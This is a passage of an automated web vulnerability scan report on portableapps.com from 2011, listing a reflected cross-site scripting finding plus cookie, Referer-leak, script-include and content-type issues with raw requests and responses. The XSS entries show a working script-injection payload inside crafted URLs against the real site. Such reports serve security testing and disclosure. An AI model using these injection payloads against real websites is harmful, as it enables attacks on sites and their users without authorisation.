GET /apps/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable&841c9<script>alert(1)</script>afc311f469e=1 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:04 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=83f0u4v10o5gc5nekcpskojvc6; expires=Mon, 31-Jan-2011 01:24:24 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:04 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
p;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable&841c9<script>alert(1)</script>afc311f469e=1</p>
...[SNIP]...

1.14. http://portableapps.com/apps/x26amp [rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/x26amp

Issue detail

The value of the rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable request parameter is copied into the HTML document as plain text between tags. The payload 1a8c8<script>alert(1)</script>6c666d2ce34 was submitted in the rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /apps/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable1a8c8<script>alert(1)</script>6c666d2ce34 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:51:02 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=ep7r8b5lkid7v0qp12810dva97; expires=Mon, 31-Jan-2011 01:24:22 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:51:02 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
mp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable1a8c8<script>alert(1)</script>6c666d2ce34</p>
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 3 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://portableapps.com/apps/utilities/7-zip_portable/x22  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://portableapps.com
Path:   /apps/utilities/7-zip_portable/x22

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /apps/utilities/7-zip_portable/x22 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:50:38 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=hhqq5cvgrjcus7o1qgrfjutkh7; expires=Mon, 31-Jan-2011 01:23:58 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:50:38 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...

2.2. http://portableapps.com/apps/utilities/x26amp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://portableapps.com
Path:   /apps/utilities/x26amp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /apps/utilities/x26amp HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:50:39 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=cfv61ec788e1buk6h5omm7ceb3; expires=Mon, 31-Jan-2011 01:23:59 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:50:39 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...

2.3. http://portableapps.com/apps/x26amp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://portableapps.com
Path:   /apps/x26amp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /apps/x26amp HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:50:41 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=i18keoa6fpn3ct97v63rs73o70; expires=Mon, 31-Jan-2011 01:24:01 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:50:41 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://portableapps.com/apps/utilities/x26amp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/x26amp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /apps/utilities/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFoQ6QUoAQ\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNGhsIt6x6CQCwSr7liK3vwfpBGwig\\x22\\x3eUtilities\\x3c/a\\x3e\\x3c/span\\x3e\\x3c/cite\\x3e HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:50:40 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=k97dnkjhc79tjfv3jlhfhru0c5; expires=Mon, 31-Jan-2011 01:24:00 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:50:40 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
</a>, <a href="http://twitter.com/PortableApps">Twitter</a>
...[SNIP]...
<span>
       <a class="da2a_button" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fportableapps.com%2Fnode%2F4830&amp;linkname=Page%20Not%20Found%20%28404%20Error%29" id="da2a_1"><img src="http://portableapps.com/files/images/buttons/share_save_171_16.png" alt="Share this"/>
...[SNIP]...
</a><a href="http://www.mozilla.com/en-US/?from=sfx&amp;uid=4172&amp;t=438"><img src="http://sfx-images.mozilla.org/firefox/3.6/80x15_square_blue.png" width="80" height="15" alt="Firefox 3.6" border="0" align="left" /></a>
...[SNIP]...
</a>&nbsp;&nbsp;|&nbsp;&nbsp;Developed by <a href="http://rareideas.com">Rare Ideas, LLC</a><br />Designed by <a href="http://thirdshift.nu/">[THIRDSHIFT]</a> and <a href="http://rareideas.com/">Rare Ideas, LLC</a>&nbsp;&nbsp;|&nbsp;&nbsp;Powered by <a href="http://drupal.org/">Drupal</a>
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

3.2. http://portableapps.com/apps/x26amp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/x26amp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /apps/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dMB4mTbTRFIO78gbQupGSAg\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CFkQ6QUoAA\\x26amp;q\\x3d7zip\\x26amp;usg\\x3dAFQjCNEsawYcbH8QV3vjz5lC2ssu5QVkfw\\x22\\x3ePortable HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Fri, 07 Jan 2011 21:50:42 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=amcrlq1ecfk50g53putre8ak42; expires=Mon, 31-Jan-2011 01:24:03 GMT; path=/; domain=.portableapps.com
Last-Modified: Fri, 07 Jan 2011 21:50:42 GMT
ETag: "ebaa3b75ebc2d84678848b5aa4476d2f"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 9207

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
</a>, <a href="http://twitter.com/PortableApps">Twitter</a>
...[SNIP]...
<span>
       <a class="da2a_button" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fportableapps.com%2Fnode%2F4830&amp;linkname=Page%20Not%20Found%20%28404%20Error%29" id="da2a_1"><img src="http://portableapps.com/files/images/buttons/share_save_171_16.png" alt="Share this"/>
...[SNIP]...
</a><a href="http://www.mozilla.com/en-US/?from=sfx&amp;uid=4172&amp;t=438"><img src="http://sfx-images.mozilla.org/firefox/3.6/80x15_square_blue.png" width="80" height="15" alt="Firefox 3.6" border="0" align="left" /></a>
...[SNIP]...
</a>&nbsp;&nbsp;|&nbsp;&nbsp;Developed by <a href="http://rareideas.com">Rare Ideas, LLC</a><br />Designed by <a href="http://thirdshift.nu/">[THIRDSHIFT]</a> and <a href="http://rareideas.com/">Rare Ideas, LLC</a>&nbsp;&nbsp;|&nbsp;&nbsp;Powered by <a href="http://drupal.org/">Drupal</a>
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://portableapps.com/apps/utilities/7-zip_portable/x22  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/7-zip_portable/x22

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /apps/utilities/7-zip_portable/x22 HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:50:38 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=hhqq5cvgrjcus7o1qgrfjutkh7; expires=Mon, 31-Jan-2011 01:23:58 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:50:38 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

4.2. http://portableapps.com/apps/utilities/x26amp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/utilities/x26amp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /apps/utilities/x26amp HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:50:39 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=cfv61ec788e1buk6h5omm7ceb3; expires=Mon, 31-Jan-2011 01:23:59 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:50:39 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

4.3. http://portableapps.com/apps/x26amp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://portableapps.com
Path:   /apps/x26amp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /apps/x26amp HTTP/1.1
Host: portableapps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 404 Not Found
Date: Fri, 07 Jan 2011 21:50:41 GMT
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: PHP/5.2.14
Set-Cookie: SESS472db2f644ac5341a5848a28de6a9b41=i18keoa6fpn3ct97v63rs73o70; expires=Mon, 31-Jan-2011 01:24:01 GMT; path=/; domain=.portableapps.com
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Fri, 07 Jan 2011 21:50:41 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<h
...[SNIP]...
</div>

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

5. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://portableapps.com
Path:   /sites/all/themes/portableappsnew/favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /sites/all/themes/portableappsnew/favicon.ico HTTP/1.1
Host: portableapps.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SESS472db2f644ac5341a5848a28de6a9b41=5jp8v8vir403nsojdhob2at0j3; has_js=1; __utma=99187359.847056593.1294455690.1294455690.1294455690.1; __utmb=99187359; __utmc=99187359; __utmz=99187359.1294455690.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/22|utmcmd=referral; __utma_a2a=7096794815.1326012616.1294455690.1294455690.1294455690.1

Response

HTTP/1.1 200 OK
Date: Sat, 08 Jan 2011 03:01:00 GMT
Server: Apache/2.0.52 (Red Hat)
Last-Modified: Mon, 01 Mar 2010 02:46:42 GMT
ETag: "7d04ed-9f6-42524880"
Accept-Ranges: bytes
Content-Length: 2550
Cache-Control: max-age=1209600
Expires: Sat, 22 Jan 2011 03:01:00 GMT
Connection: close
Content-Type: text/plain; charset=utf-8

..............h...&......... .h.......(....... ...........@.......................a\0.xuQ................zuS.`[-.__..urM.................................wrP.LL..|xW.................~zY.LL3.yvS.......
...[SNIP]...

Report generated by Unforgivable Vulnerabilities, DORK Search, Exploit Research at Fri Jan 07 21:02:25 CST 2011.